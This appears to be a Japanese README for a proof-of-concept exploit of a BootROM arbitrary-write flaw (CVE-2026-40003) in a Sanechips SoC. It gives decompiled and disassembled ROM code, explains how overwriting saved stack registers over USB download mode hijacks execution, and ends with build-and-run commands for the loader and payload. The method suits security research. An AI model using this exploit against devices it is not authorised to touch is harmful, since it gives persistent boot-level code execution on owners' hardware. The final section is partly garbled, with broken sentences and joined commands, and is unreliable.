
CVE-2026-40003 のエクスプロイト。ZXIC/Sanechips ZX297520V3 SoC BootROM における任意メモリ書き込みの脆弱性であり、USB ダウンロードモードを介したコード実行を可能にします。
CVE-2026-40003、通称Joselitoは、ZXIC/Sanechips ZX297520V3 SoC BootROMで発見された任意メモリ書き込みの脆弱性です。
[!CAUTION] このPoCは研究目的のみで公開されています。このエクスプロイトを悪意のある目的で使用してはいけません。所有していないデバイスや、所有者の明示的な同意なしにエクスプロイトを使用してはいけません。
この脆弱性は2026年3月以降の新しいSoCリビジョンで修正される予定です。パッチ適用済みチップを使用した既知の製品はまだありません。既存のすべてのデバイスが脆弱です。
要約: ローダーコードを確認してください。
BootROMはスタックポインタを0x81FF0に設定して0x4番地から開始します。コードは特別なテストポイントまたはフラッシュからイメージをロードする機能に基づいてモード選択を実行します。BootROMがフラッシュ上のイメージのロードまたは検証に失敗した場合、USBダウンロードモードにフォールバックします。
この動作はここで確認できます:
v0 = MEMORY[0x13B004] & 7; // hardware pin
switch ( (char)v0 )
{
case 0:
if ( nand_init() )
goto LABEL_12;
parse_header((Header *)0x8A000);
v4 = "\nMODE:NAND\n";
goto LABEL_11;
case 1:
if ( !nand_init() )
{
parse_header((Header *)0x8A000);
uart_puts("\nMODE:USB-N\n");
}
usbdl_init(0x1500000);
v5 = "TURN TO NAND\n";
goto LABEL_16;
/* ... */
LABEL_16:
uart_puts(v5);
LABEL_7:
verify_and_jump((Header *)0x8A000, 0, 1);
break;
usbdl_init関数はUSB IPを初期化し、ダウンロードループに入ります:
void __fastcall usbdl_init(int usb_base)
{
char *v1; // r0
if ( usb_base == 0x1500000 )
{
alt_usb_base = 0;
usb_init();
}
else
{
alt_usb_base = 1;
noidea();
}
if ( usb_setup() )
{
try_sync_with_host();
v1 = "FAILED\n";
}
else
{
v1 = "\nNOLINK\n";
}
uart_puts(v1);
}
逆アセンブラ出力:
ROM:00001F68 ; void __fastcall usbdl_init(int usb_base)
ROM:00001F68 usbdl_init ; CODE XREF: entry+5E↑p
ROM:00001F68 ; entry+7C↑p ...
ROM:00001F68 PUSH {R4,LR}
ROM:00001F6A MOVS R2, #0x1500000
ROM:00001F6E LDR R1, =dword_8014C
ROM:00001F70 MOV R4, R0
ROM:00001F72 CMP R0, R2
ROM:00001F74 BNE loc_1F80
ROM:00001F76 MOVS R0, #0
ROM:00001F78 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F7A BL usb_init
ROM:00001F7E B loc_1F88
ROM:00001F80 ; ---------------------------------------------------------------------------
ROM:00001F80
ROM:00001F80 loc_1F80 ; CODE XREF: usbdl_init+C↑j
ROM:00001F80 MOVS R0, #1
ROM:00001F82 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F84 BL noidea
ROM:00001F88
ROM:00001F88 loc_1F88 ; CODE XREF: usbdl_init+16↑j
ROM:00001F88 MOV R0, R4
ROM:00001F8A BL usb_setup
ROM:00001F8E CMP R0, #0
ROM:00001F90 BEQ loc_1F9E
ROM:00001F92 BL try_sync_with_host
ROM:00001F96 ADR R0, aFailed ; "FAILED\n"
ROM:00001F98
ROM:00001F98 loc_1F98 ; CODE XREF: usbdl_init+38↓j
ROM:00001F98 BL uart_puts
ROM:00001F9C POP {R4,PC}
ROM:00001F9E ; ---------------------------------------------------------------------------
ROM:00001F9E
ROM:00001F9E loc_1F9E ; CODE XREF: usbdl_init+28↑j
ROM:00001F9E ADR R0, aNolink ; "\nNOLINK\n"
ROM:00001FA0 B loc_1F98
ROM:00001FA0 ; End of function usbdl_init
try_sync_with_hostは同期バイト(0x5A)を待機し、メインループに入ります。
void try_sync_with_host()
{
int v0; // r4
unsigned int i; // r0
int v2; // r5
int v3; // r2
int v4; // r3
int v5; // r2
int v6; // r3
int v7; // r0
v0 = 0x805A0;
time_to_boot = 0;
for ( i = 0; i < 0x40; ++i )
*(_BYTE *)(i + 0x805A0) = 0;
g_state = 0;
v2 = 0x200;
if ( usb_recv(byte_805A0, 0x200, 0x5A) == 1 ) // 0x5a = ack sent by the host
{
uart_puts("TIMEOUT\n");
}
else
{
resp[0] = 0xA5;
usb_send((int)resp, 1, v3, v4);
g_state = 1;
while ( !time_to_boot )
{
v7 = sub_11CA(v0, v2, v5, v6);
handler(v0, v7);
if ( g_state == 4 )
{
v2 = size;
v0 = start_addr;
}
else
{
v0 = 0x805A0;
v2 = 0x200;
}
}
verify_and_jump(unk_80160, 0, 1);
}
}
ハンドシェイクが完了すると、BootROMはメインループに入り、通常はブリックしたデバイスの復旧に使用されるステージ1バイナリを待機します。ただし、BootROMは宛先アドレスを検証しないため、0x7Aコマンドを介した任意書き込みが可能になります。0xA1ステータスは、イメージアドレスとサイズが受け入れられたことを意味します。
usb_send:
resp[0] = status;
v5 = 1;
v6 = resp;
return usb_send((int)v6, v5, state, v3);
case 3u: // 0x7A
if ( *(int *)&resp[4] >= 4 )
{
if ( *(int *)&resp[4] < 8 )
*(_DWORD *)&resp[12] = (*(_DWORD *)&resp[12] << 8) | result;
}
else
{
*(_DWORD *)&resp[8] = (*(_DWORD *)&resp[8] << 8) | result;
}
v3 = *(_DWORD *)&resp[4] + 1;
*(_DWORD *)&resp[4] = v3;
if ( v3 != 8 )
continue;
*(_DWORD *)&resp[4] = 0;
start_addr = *(_DWORD *)&resp[8];
size = *(_DWORD *)&resp[12];
g_state = 4;
status = 0xA1;
goto usb_send;
verify_and_jump関数は、デバイスがフューズドされている場合にイメージ検証を実行します。
int __fastcall verify_and_jump(Header *a1, int zero, int must_verify)
{
int *p_sp; // r6
int result; // r0
p_sp = (int *)&a1->sp;
result = memcmp((int)a1->magic, 0x80008, 2u);
if ( !result )
{
if ( !zero || (result = a1->usbdl_en, result == 0x5A) )
{
if ( !must_verify )
return jump(p_sp);
result = verify(a1);
if ( !result )
return jump(p_sp);
}
}
return result;
}
verify関数はハードウェアMD5およびRSAエンジンを使用してイメージの整合性を検証し、jumpはイメージヘッダーのアドレスにスタックポインタを設定してエントリポイントにジャンプします。
ARM/Thumb呼び出し規約では、関数呼び出しは通常PUSH {regs, LR}で始まり、末尾呼び出し、BX LRまたはPOP {regs, PC}で終わります。usbdl_initはコンパイラによって末尾呼び出しとして最適化されていないため、PUSHおよびPOP命令を含みます。
もうお分かりですか?
BootROMにはワンタイムダウンロード用のフラグがないため、必要なだけ多くのイメージを送信できます。このエクスプロイトは、この機能(それ自体は脆弱性ではありません)を任意メモリ書き込みと組み合わせて悪用します。
entry関数: PUSH {R3-R7,LR})+ 2(usbdl_init関数: PUSH {R4,LR})。レジスタサイズを掛けると、8 * 4 = 32LRレジスタにジャンプアドレスを送信する(簡略化のため、PoCはすべての保存されたレジスタに同じアドレスを繰り返します)verify_and_jump関数はusbdl_initに戻るusbdl_initはFAILEDを出力し、POP {R4, PC}命令を実行してペイロードを実行するsudo apt update && sudo apt install curl llvm gcccurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | shまたはディストリビューション固有のパッケージマネージャを使用してrustupをインストールします. "$HOME/.cargo/env"(bash)またはsource "$HOME/.cargo/env.fish"(fish)cd payload && ./build.sh && cd ..sudo -E cargo r -p loader -- target/thumbv6m-none-eabi/release/payload次に、USBダウンロードモード(特別なテストポイントまたは破損したフラッシュのいずれか)をトリガーしたデバイスを接続し、UART出力を確認します。